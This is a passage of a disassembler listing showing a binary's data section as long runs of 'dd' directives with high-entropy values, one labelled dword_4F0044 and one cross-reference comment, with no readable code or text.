		dd 980820DEh, 8176FCE0h, 8DC13B28h, 0EBECC286h,	7FA097B5h
		dd 4278149Dh, 6489C2B5h, 53F42804h, 11861648h, 0FA400978h
		dd 1E661D05h, 0E57B460Dh, 7A760C5Ah, 0F02F4725h, 0ABB420EFh
		dd 0D389D4A0h, 40C733C0h, 97A90EF4h, 5682EBD4h,	0A4CD16E9h
		dd 7FF5EFCCh, 5BD09E60h, 92CDAD46h, 76B5A27h, 1D98F88Eh
		dd 0C4CD9643h, 0B8CDFB65h, 0C4DAF460h, 8255ED5Bh, 0FE34E9Fh
		dd 227C0BFFh, 40446850h, 0D024E93Dh, 5740FBCBh,	0F20B23BFh
		dd 0CF095839h, 14950500h, 0C3014010h, 3CE55BBDh, 6B23B177h
		dd 5F2660D3h, 76C22315h, 0FF76C2E1h, 0A78CC3C8h, 0EE54EFE0h
		dd 590D404Dh, 63426812h, 16C1228Ch, 0E21FAE53h,	0BD3C493h
		dd 52F50500h, 64B5074Ah, 68894960h, 0BE5DEB16h,	3168832Ch
		dd 5B4947BBh, 558802EAh, 16146982h, 0B9B7CFB0h,	80D7F604h
		dd 15820DCFh, 0BD67CC98h, 240355C9h, 0AC01E607h, 0F7549169h
		dd 0F6E446D6h, 0EEDF03FCh, 0DD86E9FFh, 65DF59A7h, 2AAA8A0Eh
		dd 98CC280h, 475D46A9h,	67D92D6Eh, 20C97BC9h, 0F2D19F88h
		dd 0DBCA8962h, 0AADE1B33h, 0C398AC10h, 23B00502h, 96DF2EE3h
		dd 52D016Dh, 0E923BCB3h, 4B4B3C9Dh, 71B346F8h, 0B9A24F4Fh
		dd 0BC40F1A5h, 7B0E8BC0h, 1245D76h, 60248D4Ch, 0E440941Bh
		dd 2D1EB055h, 23CA0114h, 297BE0DDh, 6F42F23h, 1D20B56Eh
		dd 39D9B572h, 0EA4BF212h, 0C2CF7498h, 0D251D77h, 93E9A2F1h
		dd 5E2CA86Ah, 0F95F6B73h, 3389568Eh, 0BA75E889h, 0B021F13Fh
		dd 0AF5AA818h, 0F8177CC4h, 5F1BE00h, 0E1951C09h, 223F5FF4h
		dd 56FE305Ah, 450B988Ch, 20861FCBh, 3C74E7D1h, 0FDE0C90Bh
		dd 2EF5F80h, 0E92C694Ah, 0E4AF3077h, 7A640F10h,	39C5325Bh
		dd 7A3E975h, 3BA36728h,	2C1C0B3h, 2D80C261h, 0A2FFD9FEh
		dd 547A771Fh, 28054F32h, 799FAEBh, 2D11612Fh, 513DE4A7h
		dd 5602C798h, 0CA3638BEh, 0F28E4022h, 19B2074Ah, 0B3908E9h
		dd 1396CC75h, 9A40E068h, 9F8320B9h, 5769F179h, 0DF3FEBE5h
		dd 400137D8h, 53E2594Ch, 6F921AC2h, 0F7D070CDh,	5805F523h
		dd 424BCB68h, 0EC6E945h, 65C21D76h, 8B12D978h, 0C8D1121Fh
		dd 2F336807h, 44D449B7h, 0E82B52B1h, 5D00188h, 1D433F27h
		dd 5F0FD3FFh, 569FE038h, 1B6FCFA0h, 0BE6E6405h,	0F181E4EDh
		dd 993432E9h, 324DB888h, 0CD7F1820h, 6629E0DFh,	419B7D1h
		dd 3F63E94Ch, 9C07A4F9h, 0B5FCDC89h, 4892EA96h,	148481D0h
		dd 0CAC2981Ch, 0B4FC03A1h, 0D9B3306Ch, 8346EB3Ch, 0EC0C5560h
		dd 981EFA1Ch, 74B227A1h, 15B11E98h, 57451112h, 46A93D07h
		dd 22D7C89h, 0C33DEABAh, 0E9505D00h, 756AF707h,	20BBF6FEh
		dd 595C2DE8h, 44528B5Eh, 8C9E4B62h, 31FCF91h, 0D7126F96h
		dd 0EE20C9C0h, 0CEFE0759h, 303DC680h, 5E929F6h,	8E40895Eh
		dd 0F7E90C3h, 9AC062B7h, 4F465A5Ch, 8F604AF0h, 3CF2ED65h
		dd 0D36858A0h, 4A8ABB40h, 9407A318h, 6B29045Dh,	92AA33FCh
		dd 146A4DFDh, 51DE5940h, 887EE59Fh, 5B1362BCh, 5BFA7C49h
		dd 0B55180F3h, 0E9EE28FFh, 20456135h, 983FCE89h, 0C22DE964h
		dd 89F87988h, 107352BAh, 56BDC2Fh, 82D31A80h, 6CF723CDh
		dd 3CD60BD5h, 228051AFh, 7534041Ch, 0BCF9DCC0h,	0EA892671h
		dd 2725BC5Fh, 4BE623DAh, 3A930D82h, 0B5ABEDE7h,	0C8583E9Ah
		dd 1F3B7D52h, 414740B7h, 0EF430BCFh, 0E460AF2Ah, 613220FBh
		dd 9560F09Fh, 3E087EFEh, 485A18C0h, 282E1AA2h, 1C03C153h
		dd 4A60861Eh, 6D1E1F76h, 24C894F7h, 1C089DB6h, 0C4EECC9Bh
		dd 0C019280Ch, 2D1206E6h, 0BFDC1A20h, 2E1715D0h, 0DAAA010Bh
		dd 78D85F40h, 2BADA857h, 48BF2608h, 67EA0EE0h, 383766Ah
		dd 4F031AD9h, 0B10BF3E0h, 8983A21Eh, 0BF00F5EBh, 5F9F4D17h
		dd 9ACF4829h, 42DEAC45h, 0CDE5FD28h, 0BA020DA6h, 58283949h
		dd 93839666h, 0EDE5F430h, 3447DC0Eh, 0F9E5C07Ah, 7A72BC15h
		dd 69454DE9h, 95E3C085h, 4A04FA18h, 66810619h, 0DA605EF0h
		dd 1213D2D7h
dword_4F0044	dd 7D1B0624h, 0E32E8716h, 0CCBDB358h, 8FAD5A22h, 0C831EBD2h
					; DATA XREF: ___:00438124o
		dd 5B02BF5Ah, 1ABE9D59h, 71383279h, 0BE440C9Fh,	240BF2C3h
		dd 58018402h, 0AF6C9D41h, 94DF5027h, 0A3B585h, 1F632FC8h
		dd 2DE3130Ch, 234028A6h, 3F1469BDh, 7EDE108Eh, 4D9B3E09h
		dd 0E649D509h, 10543F56h, 459487Ch, 684C2A1Bh, 77F63882h
		dd 7C275947h, 8596CF38h, 89B3ABF7h, 0C0D8BAA4h,	0B9F240C7h
		dd 2130F705h, 5853159h,	0BD7712B8h, 0F808864Dh,	9068001Fh
		dd 8B706E0Bh, 885A1442h, 870BB204h, 0C0523A99h,	2F0C9F67h
		dd 548821B7h, 0ED902D07h, 0E6971139h, 5234C774h, 0D5E958h
		dd 40352D29h, 0D11800B8h, 896856E0h, 334BB264h,	1D48BFE0h
		dd 80108A20h, 0C34BB6EEh, 0D651F71Dh, 0A5BADABh, 58034686h
		dd 4133E371h, 65E0C120h, 0FF7E61EAh, 2B37ABE9h,	0ED813874h
		dd 0E8045C56h, 0CF4F384Ah, 12FC3DB0h, 9DACBACh,	52463262h
		dd 6B0F057Eh, 0EB512CCAh, 13B150D8h, 1F3039B0h,	12011F47h
		dd 6ABBB12Fh, 70E85C88h, 0E616822Bh, 0F46EA1h, 2C55F5BDh
		dd 92210Eh, 7B4226F2h, 6816EDD1h, 18C73D4h, 8B2113AAh
		dd 7F40FB16h, 31300AC5h, 0D70CC115h, 506167h, 5ED04B5Ah
		dd 0C10DB262h, 25886978h, 17AE2720h, 0F6CAA06h,	44ED539h
		dd 5881212Fh, 221DF5E9h, 2B9D07B6h, 4FB2768Dh, 0F7AC9495h
		dd 0F78EEAFEh, 0F1E1BDB3h, 0D48B6D60h, 63EA10C1h, 73185E3Bh
		dd 0A1C7539Ch, 25E14014h, 2AE34C24h, 8FF05FACh,	3F8935BEh
		dd 814C5DBDh, 5C26E897h, 3A348843h, 0DD6631CAh,	31E6BB81h
		dd 0BC317DF9h, 0B01DAA60h, 35CB001Bh, 680C7661h, 0BDA616CEh
		dd 0A0095279h, 806C4C5Ch, 0CD71C2B6h, 0F3FC480Dh, 9BE2D127h
		dd 3D5FE9D0h, 0E3537DC2h, 878495D3h, 0D6CF8582h, 0B170C53Ch
		dd 28A23AD6h, 4428EBD2h, 0C87A5E66h, 31175869h,	0DD013042h
		dd 1A675C46h, 7C76FD6Eh, 0CC60DD7Dh, 687A410Ch,	0D101264Bh
		dd 79082040h, 8E595E33h, 35A7501Dh, 43260700h, 4DD2F581h
		dd 92202CAh, 515D306Ah,	827E16DFh, 7E95F24h, 0B7E1852Ch
		dd 58C36612h, 76E882DDh, 0C82508B2h, 5C69B900h,	7051E44h
		dd 61E17C65h, 0E801EB01h, 7EF73703h, 29176B00h,	2EE92028h
		dd 0AF05DE2Ah, 9C55FF62h, 3BD3B79Bh, 0B02DE968h, 0BF30BCADh
		dd 7A1E005Bh, 5439DF4Bh, 0C0E28E9h, 5EA590Ch, 2A128E9Ah
		dd 0C7BA6808h, 0C13F00Fh, 0D1253744h, 50BF6E3h,	8411401Ch
		dd 609E9122h, 3019CD75h, 7A2EE75h, 0CB4F2964h, 2C0789ACh
		dd 47AD048Dh, 0C7C2653Bh, 0E9838E3Ch, 0A401229Bh, 97BEF4BFh
		dd 5B82573Ch, 5666794Eh, 0ED14A2F3h, 0F45F280Ch, 3A14C518h
		dd 2E0F11Ah, 0E9219073h, 0F0742785h, 0DCF3928Bh, 3BE041AAh
		dd 56F16A7Fh, 0A87EAEF8h, 2568E291h, 0DAE64B06h, 0CEEE1420h
		dd 0EEE21DAh, 0D50DCB3Eh, 0D495F1FAh, 1FDA8CF0h, 3F16B3C9h
		dd 0D4EA1358h, 3EC4BBE3h, 0D03082FFh, 2D8FC14Ah, 29697501h
		dd 755E02C7h, 9332FC8Bh, 3C26087Ch, 91CA88E3h, 0E7D45AD4h
		dd 7B507958h, 0F8E26BFCh, 0F6976DF0h, 724EDA34h, 92994625h
		dd 14DADF0Ah, 0B5BAFB20h, 83207714h, 1DB90405h,	0BF5D5F69h
		dd 0EC4B9B1Fh, 254ED1D1h, 173ED854h, 45076472h,	54096CD6h
		dd 0FEA57366h, 6C13DE60h, 0E95313BAh, 4AABE9D3h, 30FA2DBAh
		dd 0E3407D7Fh, 5C523168h, 8B02A1A7h, 734B8215h,	70E408A8h
		dd 0F387827h, 72D62340h, 0ED8AB584h, 6A08D6A1h,	39C2C3Bh
		dd 47A872B8h, 95467FD9h, 2E95666Bh, 76C9D75Ch, 68E6CC15h
		dd 3522F731h, 156420FEh, 2DD83F29h, 654B7C81h, 6A265A68h
		dd 5EE590CCh, 0E4698D3Ah, 0D7257F4Ah, 4CD9675h,	466885EFh
		dd 0A2C1C072h, 3412FC69h, 0E8208E9h, 0A2E8F54Eh, 0C07851A0h
		dd 9AA8DCFCh, 301C53B3h, 0DA045AD3h, 81FE5B66h,	3C0AE977h
		dd 0E3A24F09h, 0B5192257h, 21C8A550h, 2F333CFBh, 837FD658h
		dd 86484117h, 0AB11A6F7h, 3B03EB06h, 10C181Ah, 16C22278h
		dd 2B1C2EE9h, 9E170334h, 0B54857B6h, 4A7D3632h,	0DD47C2E2h
		dd 8544C302h, 0C0927531h, 1835EC1h, 0C1C85D66h,	780776EDh
		dd 0FC2FB84Dh, 1F7FFB5Eh, 8431D7B3h, 8AEBC2CCh,	6E992D00h
		dd 0A1254EE2h, 81070550h, 13B4BCCh, 49604159h, 6C710437h
		dd 13CA896Fh, 5BD0A81Ch, 16B02450h, 2064257h, 4179BED6h
		dd 0B858EB00h, 0B9195F6Eh, 0F0663BF3h, 0F2E83EE1h, 0F60568B1h
		dd 0CEF57BA9h, 975EBD6Bh, 0DD0897CAh, 48BB0277h, 0F4E0216Ah
		dd 81801A65h, 47B60FE1h, 76667F35h, 5D2716BAh, 0C3C22287h
		dd 5475C102h, 127E8172h, 0E92B7468h, 0CC512E11h, 0BA4D82CEh
		dd 5028C01Ah, 14F93745h, 777061F6h, 57872A0Bh, 7805EB32h
		dd 630D0B93h, 5220317Fh, 60A888C3h, 0DD52B925h,	62C59F82h
		dd 6845D38Eh, 0C721AA1Eh, 0AE0409A0h, 2A23C4D9h, 62015F4Ch
		dd 707D0F05h, 66E2D469h, 7C344F2Fh, 7EE94196h, 312368B8h
		dd 0B3C164EFh, 72CE8607h, 0B034625Bh, 16CE79E1h, 4541D88Ah
		dd 0CB026984h, 8219FA2Dh, 12EDD3EDh, 7F6AE174h,	8D93A1E3h
		dd 0DFFD3B83h, 8040F424h, 0B242B8BFh, 0FB7C094Eh, 2CC0E32Eh
		dd 9848F19Bh, 905314BDh, 8BCE4B62h, 0E92D40D0h,	20AE56D6h
		dd 191689Eh, 0C0BE1B97h, 176A182Bh, 0BADBF75Bh,	0DFB4EBC0h
		dd 893C02CFh, 9A8DE9DAh, 6172997Eh, 0DE50A479h,	9433D968h
		dd 0A1C96488h, 0A9A27F83h, 0A4AFFD96h, 41DBEF88h, 341F3065h
		dd 43A7284Fh, 0F038EA5Eh, 3572568h, 4AD2417Eh, 0E092D6E6h
		dd 49CFEA81h, 0C3B0CB4Bh, 0A33C4B82h, 90EA9686h, 66D830D4h
		dd 27636813h, 530BDCBDh, 0AA549FB3h, 0E9D7F381h, 919D8D12h
		dd 2A3ACBC6h, 12413C55h, 0BC512DE9h, 8E1BC44Bh,	0CD775B0Bh
		dd 16E9854Eh, 6BD0BBECh, 7E173909h, 0F7FB1826h,	0EBC108D7h
		dd 23A0660h, 0B4FD9B7Eh, 4551148Ah, 0BE53BF5Eh,	0D8D7D1FFh
		dd 0E4EC04B6h, 20B00972h, 48F5432Ch, 37453484h,	615A158Fh
		dd 3E17D4AFh, 4FAF316h,	0D53EE154h, 9E41AF81h, 71F01190h
		dd 692A57Bh, 0D2141C08h, 7CBC801Ah, 0E913CBA4h,	6DB8FDE5h
		dd 0B65F3EACh, 5C57FE22h, 13228897h, 7CF9C4A5h,	0E59D2D51h
		dd 0E00D0F64h, 30499C09h, 6036D6C6h, 789F6E41h,	822F39Dh
		dd 890EFF2Ah, 0C8F3E6F5h, 26F1980Eh, 0C0A2462Eh, 9646916h
		dd 0C4099C98h, 0F675496Bh, 4FB0C008h, 15F2BBDh,	0B4D0B0A2h
		dd 0EA4E8200h, 0DE8956A7h, 657CF99Dh, 62A1B3F6h, 528E5AE0h
		dd 0D01730A4h, 3560C64Dh, 0F4644D27h, 0A4FF28A5h, 0EFF3E70Fh
		dd 90C3996h, 94160AB3h,	3B17D80h, 74C70C7Dh, 1266193Bh
		dd 3E680F18h, 0CD80357Ah, 4F6C2C61h, 5CB60CC1h,	640018BBh
		dd 1D7C2126h, 3B74E50Bh, 0F5B30075h, 279D0E38h,	80D52953h
		dd 8834248Ah, 3D12DE4Dh, 1C9F08D1h, 12E88D4Ch, 0FDF2FE2Ah
		dd 0C3ABF8D7h, 0A28410ADh, 0B99F8500h, 3C2EA4AFh, 9223ED3Dh
		dd 38AF2059h, 260BBF18h, 0A403144h, 0EB4005A1h,	177C1777h
		dd 0AED3011Ch, 0CB7DAB07h, 6FE2C0AFh, 17751D2Dh, 0EFFB93E9h
		dd 0D0671922h, 8A6817CAh, 0E85F8C59h, 2EC60E06h, 50BECBDh
		dd 8EE9D531h, 0F4A4B867h, 0B3B49AFCh, 0F680AD5h, 640337Ah
		dd 0A0176C26h, 9ACD3194h, 8AF49726h, 6133EA00h,	5A68586Dh
		dd 8B74A9FEh, 0EC45DFCBh, 63055980h, 0B06E426Fh, 0D3E9107Eh
		dd 129F48A1h, 0C4A3D006h, 0AA2F6816h, 5EF84D62h, 14D72D1Ch
		dd 0BA07D7F6h, 52381A9Dh
		dd 0A0FFA8D7h, 0BEB485E9h, 40F5E9D9h, 0A474079Ch, 0DC30CE1h
		dd 480C42CFh, 1FB5593Ch, 0D0BEF301h, 135DE908h,	0EF800F18h
		dd 0C00C09AFh, 5AF53141h, 29E5015Eh, 20BB53DEh,	576B4224h
		dd 0B78DB10h, 0D2D9B78Eh, 20386324h, 0D0294F87h, 0DC1E9E9Dh
		dd 48EE354Ah, 0E9845B60h, 0DCAA6E45h, 94BF5CBDh, 0DD86C12Ch
		dd 822FA264h, 263D2954h, 0C1C9EA2Dh, 926CA02h, 2071127Dh
		dd 2C870065h, 0E90FF63Dh, 0A4597842h, 7457A200h, 16BE5665h
		dd 3FCD0713h, 80B76B8h,	0A04019E9h, 0ABEEA22Ch,	0BA96E0B5h
		dd 379175Bh, 9B1C0812h,	0D605025h, 75CD4B66h, 0F2B07F0Ch
		dd 984097C8h, 5F829D26h, 0E99F4278h, 0EADE5B0Eh, 9EB6FD9Ah
		dd 0E868F99Fh, 0D1C817A7h, 2B56230h, 0BD67455Ah, 872C880Bh
		dd 0B94E834Ch, 83AEE613h, 0A27002ADh, 0D4EC524Eh, 0F1AD10E4h
		dd 15FABC2Ah, 0E4441968h, 4CDF821Ah, 0BCE2C243h, 0C602D06h
		dd 0C3090828h, 51BFE818h, 0EF5165A2h, 4DDDA180h, 0BE020212h
		dd 255CC8F4h, 0E232315Eh, 0A06ED0F0h, 14CDE929h, 0AD276F16h
		dd 0B91C075Eh, 2272E2D0h, 59935E5Eh, 51DE8AABh,	85150424h
		dd 4B6DACAFh, 0A8C738BEh, 0E3900CBAh, 0DB593B0Bh, 0ED0D0177h
		dd 57CAF626h, 8820550h,	99880FD6h, 83680493h, 6DF8B313h
		dd 81331061h, 0B0E2E985h, 6817559Eh, 0F4786B6Fh, 1A4C4EAh
		dd 0DC5CBF86h, 0AB05081h, 0CC308851h, 0FE09B5F4h, 8DFE477Dh
		dd 6071D3E3h, 7E82F0CBh, 0EE8039ABh, 66F68108h,	0CC2D6F77h
		dd 9615D431h, 0B39AAA53h, 0D681F25Bh, 0F84A158Ah, 0A0405C11h
		dd 806A2568h, 0DF5A7FE9h, 0B3EA67FBh, 7509B15Ch, 0F694CF6h
		dd 1DC0D2F6h, 0F0499FC3h, 356B74Fh, 17BE3FA1h, 9899D24Ah
		dd 16F77EA5h, 6BE9197Eh, 983284CFh, 5A06307Eh, 99B97268h
		dd 545389F9h, 25346FDFh, 688BCCD9h, 331A75D6h, 71270A57h
		dd 0E99E8127h, 8C6F280Eh, 3141A8CCh, 5E68D2CCh,	0E0C546EFh
		dd 0E20771C3h, 3FC5441Fh, 2CA050B5h, 9AB40F59h,	0E649FC28h
		dd 605FF161h, 0C2B43CF9h, 1E67CE9h, 0E288B850h,	0C57C20F9h
		dd 0B20B533Bh, 0BE75470h, 516B20FDh, 3D7F39B9h,	945B0D01h
		dd 0DE76F148h, 0C4255574h, 8A96FBh, 2D033A89h, 0E5B7E9h
		dd 35AD188h, 8059CB28h,	0C8F125EBh, 27B662FEh, 0F6C6A096h
		dd 5A9E419Ah, 0E82C855Ch, 8F68C245h, 584CDF7Ch,	16EB09B7h
		dd 0AAF4B5A8h, 18577E42h, 0F39DB0D4h, 5FAFF0h, 42BD5568h
		dd 14A52874h, 262A7C8Ch, 3000738h, 3FA46B16h, 0A0AE1802h
		dd 0DF0123C6h, 9D90CAECh, 0BF5D5720h, 0FBD2B293h, 581CBBDEh
		dd 59C82147h, 62D1FDA5h, 2730F831h, 0ED38952Ch,	60B744B0h
		dd 0D302353h, 0E010E9C8h, 1B08385Dh, 0F15973AAh, 0CC2A6114h
		dd 4004C727h, 0CA297DB7h, 1FEA8160h, 72AB5913h,	0E9C12201h
		dd 373AE3E4h, 35F992BDh, 5249D70Bh, 5584ECDDh, 57FAA7BDh
		dd 99C256Fh, 56873F97h,	0EBF8F685h, 0C8E2FD5Eh,	0BF15952Ch
		dd 1E886550h, 0C8523925h, 0FA2FBF9Eh, 59342CD1h, 120E113Dh
		dd 92DCA588h, 3774F9F6h, 855BBFCCh, 0B6ADC4EEh,	4ED2B6EAh
		dd 0D912C9B6h, 0D33DEC5Bh, 0CBD290FFh, 5712B2Eh, 0D4D1390Bh
		dd 2D61F6FAh, 0A3DD46B0h, 82614A9Eh, 3EDB71h, 4C4DE3F0h
		dd 0F3EC0AF9h, 0E2632617h, 240EF5E8h, 81D63B23h, 3A9AE932h
		dd 888B0D13h, 1993B941h, 622BFE5Fh, 0C289BC5Ah,	8654555Dh
		dd 48A7CBC0h, 0EF2728D3h, 1950E9F4h, 23EA9F25h,	5BDE2BC0h
		dd 45E6C02Ch, 0BE88108h, 0FF7C680h, 28F8BE58h, 0DE094228h
		dd 6959FB1h, 517556Ah, 8B2804E2h, 3EC4B40Eh, 24F33226h
		dd 3F9DB800h, 92D6DC8h,	34785FFAh, 0D960AB59h, 98469E6Dh
		dd 5D034052h, 0AA80129Ah, 38011EBCh, 783056Eh, 67782DB7h
		dd 355B0740h, 82EF7DE9h, 5ED65160h, 7F1FC393h, 20FD0F5Eh
		dd 18B23A80h, 0C037C283h, 0F2D906E2h, 8A34A00Fh, 0ADBB2297h
		dd 96680160h, 0F9643A28h, 0C97A61BAh, 0FA0100D0h, 0A38D4A68h
		dd 0B1BE02C9h, 551A5C0Fh, 4AA4B80h, 0CEB06AAFh,	91E4025Bh
		dd 4E0A9867h, 4894E787h, 730C10F4h, 0F351905Fh,	7E7D741Ah
		dd 8300025Fh, 0E107972Dh, 89259C7Ah, 6666457Bh,	0C83B0625h
		dd 8040A9E1h, 0C9145FB8h, 28E60D7Ch, 2620106Ah,	515D3EE0h
		dd 0D20ECE92h, 0A3E00553h, 66248BCBh, 46AC6AACh, 6287010Fh
		dd 0F053D1F7h, 92C983Eh, 28FF474Dh, 1713C7D5h, 58AC4115h
		dd 6C036850h, 79542D46h, 67E94173h, 0FB457B63h,	89CF7EFDh
		dd 81D26E50h, 0BA52F801h, 0B4454B38h, 19FCF605h, 0CB97B35Fh
		dd 6AFD905Ch, 80438257h, 350099AAh, 4C3A42D5h, 5B022B06h
		dd 0F74C8E32h, 897DB341h, 0E0D15951h, 2D3CBB75h, 87D243F4h
		dd 4EF3C402h, 0CCEB2993h, 0BDD8F028h, 5750D54Ch, 3D58BBBAh
		dd 9ABBA5EDh, 8EAA7BD4h, 51F23A57h, 1BE98646h, 0F6075562h
		dd 3E4F774Eh, 0B202B2B2h, 9267A35h, 59BB0A2Bh, 9ACD2C7Fh
		dd 3110417Eh, 86822BA7h, 80C57FCCh, 0D76E08Ch, 7F60FBD8h
		dd 2F20FF10h, 0ECFA5F8Ah, 234EC006h, 0E625022Eh, 0E5C0040h
		dd 0B2160F05h, 520F2D7Dh, 40244406h, 1CCC285Dh,	0B3C35889h
		dd 811AFD4Fh, 0D0F79747h, 586AD7Bh, 0E24157B8h,	50880FBh
		dd 5603B625h, 0F707E8C1h, 8568C8D8h, 16E12A2h, 10E48BC5h
		dd 0EC4BBB5Eh, 0A038B9h, 313527F1h, 0E91B65D5h,	0DF298A89h
		dd 912C1782h, 27C8D50Bh, 8180AC8Fh, 11C20FCEh, 0D68796Fh
		dd 0F5020FA6h, 40027D1Fh, 251F2ABh, 0E94506C5h,	0D3EA1BA4h
		dd 0C25845D0h, 640C9AE9h, 973790FDh, 6EFB1491h,	3319C2F6h
		dd 788FC936h, 0C4BD03AFh, 0D27A733Fh, 0B0C2D89Bh, 0CFD72D69h
		dd 2792BEFFh, 0BD0542E9h, 78CFBB5Ch, 350CFF4Fh,	0C40FB12h
		dd 0E3327D05h, 0FA4F92D6h, 351AD0B3h, 9A8051A5h, 488928BDh
		dd 76EF86A0h, 8DAEFC26h, 5D886A25h, 0F06B2F02h,	8179C123h
		dd 0C801636h, 9BA56C4h,	0E9FCF929h, 0C4108A3h, 7DC6EC14h
		dd 555CE997h, 40416820h, 0EC905B56h, 0C07E600h,	22BF571Eh
		dd 71EA0974h, 5662CFE9h, 0AF2CE9D5h, 43940A2Bh,	4B7B0299h
		dd 3E0075Bh, 9C266F64h,	42920C60h, 77C85F92h, 69BEA416h
		dd 522DD822h, 6C257768h, 0E9BBD03Eh, 98BD94A6h,	925C1BEBh
		dd 92D02E0Dh, 0C0EA0152h, 0FCD8773Fh, 21811034h, 4190FB70h
		dd 83FD2FCAh, 2EC7E6D6h, 0BF809E9Bh, 10362DEBh,	98A5B083h
		dd 20760BF7h, 5CD62A3Ah, 2906CF00h, 6FC14953h, 862EF4EFh
		dd 12579C06h, 73F80379h, 2AE35317h, 0E982E2B8h,	81008D21h
		dd 326192F7h, 5F206EFCh, 13414CD7h, 0D0F8A3E9h,	757DC5C8h
		dd 0D4DFBD2Dh, 469D5691h, 95EBE6A9h, 4F0BFADBh,	69E0B070h
		dd 0D59B9F67h, 7976939Bh, 0D9337327h, 2A2EA5DCh, 1210C3F5h
		dd 0DE683C0Ah, 66C1F6B8h, 0D16DB0B8h, 0E205D848h, 0DEE96C1Eh
		dd 0D0AB24B4h, 38B4C590h, 76E13F48h, 88253B0h, 0CC202DF6h
		dd 6F02F397h, 3B5A75D9h, 1646D5ADh, 31DF6750h, 5EB0A823h
		dd 560F34B7h, 0F276D7E5h, 29F34B9h, 350C0C6Ch, 3DC60A41h
		dd 0B14B403Dh, 1812BAB3h, 0E60AEA2Ah, 31397E64h, 372DD6F7h
		dd 0EB0A8771h, 29D31C54h, 0C31020F3h, 0BBC21BBEh, 6EBA0042h
		dd 494E8473h, 0F5062FBDh, 0C27F976h, 0E0887501h, 78DBE9CAh
		dd 2DFEB551h, 0C3E810C9h, 3B42B1EEh, 21519C97h,	8060E25Dh
		dd 5913680Dh, 77582ED6h, 0C05E130Dh, 2FF0032h, 0B597DC35h
		dd 0B3600F65h, 5EB608Ch
		dd 585D206Ch, 5A06012Dh, 6DA9AAE9h, 0D5D3DEDBh,	0B458BCC0h
		dd 0DC30246Fh, 0D88059F2h, 0EC25C0DAh, 93375405h, 0BA5CA40h
		dd 0A9EABCE9h, 0C52AD680h, 0A7B2BB8Ch, 0FA3A2F78h, 231F0198h
		dd 0F054812Dh, 0D54F49EBh, 32EBEF28h, 8A5A4BFCh, 3714350Ah
		dd 3F092C86h, 21C1011Fh, 12B6E92Fh, 3191716Eh, 85CEC9F1h
		dd 7FE99608h, 8D6A35B1h, 45DD963h, 383AFE01h, 0F3D81767h
		dd 0B2E7130Eh, 735F8B1h, 5071A32Dh, 4C0513FFh, 0CABEDCEDh
		dd 3F221720h, 11C35E27h, 0F70E0F38h, 3E956DDh, 0FE310A60h
		dd 0A3082A99h, 5D07BBD2h, 0B236FC74h, 9877C4F5h, 81095F7Fh
		dd 0DE87040h, 0C3351660h, 3BBE5498h, 4B7D291Dh,	5C8B091Ch
		dd 0A1C1B4D5h, 9CB6932h, 5AB56829h, 76AAA071h, 9C10E914h
		dd 32138442h, 0EF10A914h, 333C7408h, 93F0DEF1h,	179733E9h
		dd 0F6B9D535h, 0BF0E81A0h, 52310EE7h, 0A8E850E8h, 0B9A86296h
		dd 2BCE0022h, 0EB217743h, 0C04A3698h, 0EB4C64EEh, 6BB49FC1h
		dd 9D50FA5h, 2038DFC0h,	22C7F962h, 0F0025BB6h, 0D77E4166h
		dd 12BFD754h, 0B38B61B6h, 3BE05F5h, 593E359Ch, 539F0C02h
		dd 0DD5D0755h, 5492694Eh, 5554E910h, 633DBA01h,	80C13305h
		dd 45BE5644h, 28AFFE71h, 40FCF201h, 464E688Ch, 0B85657CCh
		dd 0A58E4F5Dh, 54CD2BE9h, 382D952Fh, 0D84B52B3h, 75B1054h
		dd 6D2F540Bh, 8B310B6Fh, 7000FF33h, 19E1103Dh, 0E90201BFh
		dd 0ECBACB5Bh, 0B353A44Bh, 4CBFBA40h, 5A27656Ah, 813AD5Eh
		dd 77DCD0EAh, 2A5A7A3Ch, 6C14A15Fh, 0CA51910Ch,	353127B9h
		dd 0EF3C5908h, 0B9DEEDDDh, 40565AE2h, 0C258904h, 8DBE78FFh
		dd 409D310Bh, 188CC19Bh, 0C33F055h, 0C6092447h,	8F10126h
		dd 0C34089Dh, 0F2D7141Eh, 0A7BF2484h, 5B68126Eh, 0F7C5EAECh
		dd 51B3BA14h, 38591A47h, 54CB6393h, 459708D6h, 4468046Bh
		dd 80AE8D7Ch, 994D4BE2h, 7032E97Fh, 425EBDD7h, 0B5D2A6EFh
		dd 5AD62F1Bh, 1C41C7B4h, 0E8E90684h, 4EB1F769h,	28C48BF2h
		dd 5E67EF4Ah, 815B53C0h, 6FCF16CEh, 20B7E1A5h, 73964634h
		dd 4433BD07h, 0C5FA8089h, 5F776F08h, 352AE7Dh, 0F285FEB9h
		dd 3A8CAFE3h, 61855A0Ah, 46B619DCh, 91093C70h, 24B0211h
		dd 0D6BF5703h, 4470AD07h, 20FD7ABFh, 0AF97AA49h, 0E6D5C29Dh
		dd 0D82A6119h, 15F4E36Ah, 6802976h, 0C75AF9E5h,	27ADEF16h
		dd 24CF95D5h, 9CB413DEh, 0D32F312Ah, 2096505Ah,	293160CAh
		dd 7FD144CEh, 0AD592370h, 435124D8h, 883AA5E6h,	14670BBEh
		dd 0F774E01Fh, 41190DEh, 0AD71369h, 0E07D8409h,	7A17ECB8h
		dd 7001140Dh, 1CC24EFAh, 2D79B06Bh, 2B866495h, 45A716Ch
		dd 0AA770B68h, 0FC5E71CAh, 8D92CA27h, 46E18181h, 0B7CB0873h
		dd 6F7E33C0h, 0BC315E95h, 0E5AFB585h, 3C0E3044h, 0D302DF82h
		dd 0BF00DC2Dh, 5617329h, 6D220552h, 0F8ACC1A3h,	0C107442Dh
		dd 43A8B1Ah, 3CC85980h,	251500E3h, 1B0B102Dh, 0CC98E0C1h
		dd 0BB59FD0Fh, 69C0A064h, 1A2D50B4h, 8A3449BCh,	0F67C7042h
		dd 0C88C6516h, 0BF190792h, 7AD9E949h, 0BC540F8h, 0A8954E47h
		dd 1C300883h, 0B950643Bh, 14D72523h, 0F746274Bh, 76686690h
		dd 15B6524Eh, 26E95106h, 0F105719Bh, 5A985BD6h,	6801D2FCh
		dd 0CFE9FB3h, 8DC13B5Fh, 0C2068635h, 28215E0Bh,	69AFD04Fh
		dd 49810F5Ah, 601946A5h, 54952B12h, 21892DE7h, 3F58677Fh
		dd 93433C27h, 0C980EB81h, 65E44BB5h, 45821918h,	0D73548Ah
		dd 0E2726658h, 24299EC0h, 0B90E4BBFh, 7C24A460h, 92D8FCF1h
		dd 62BE002Eh, 0B96D4176h, 9935B615h, 0DC042280h, 4DCA4FE1h
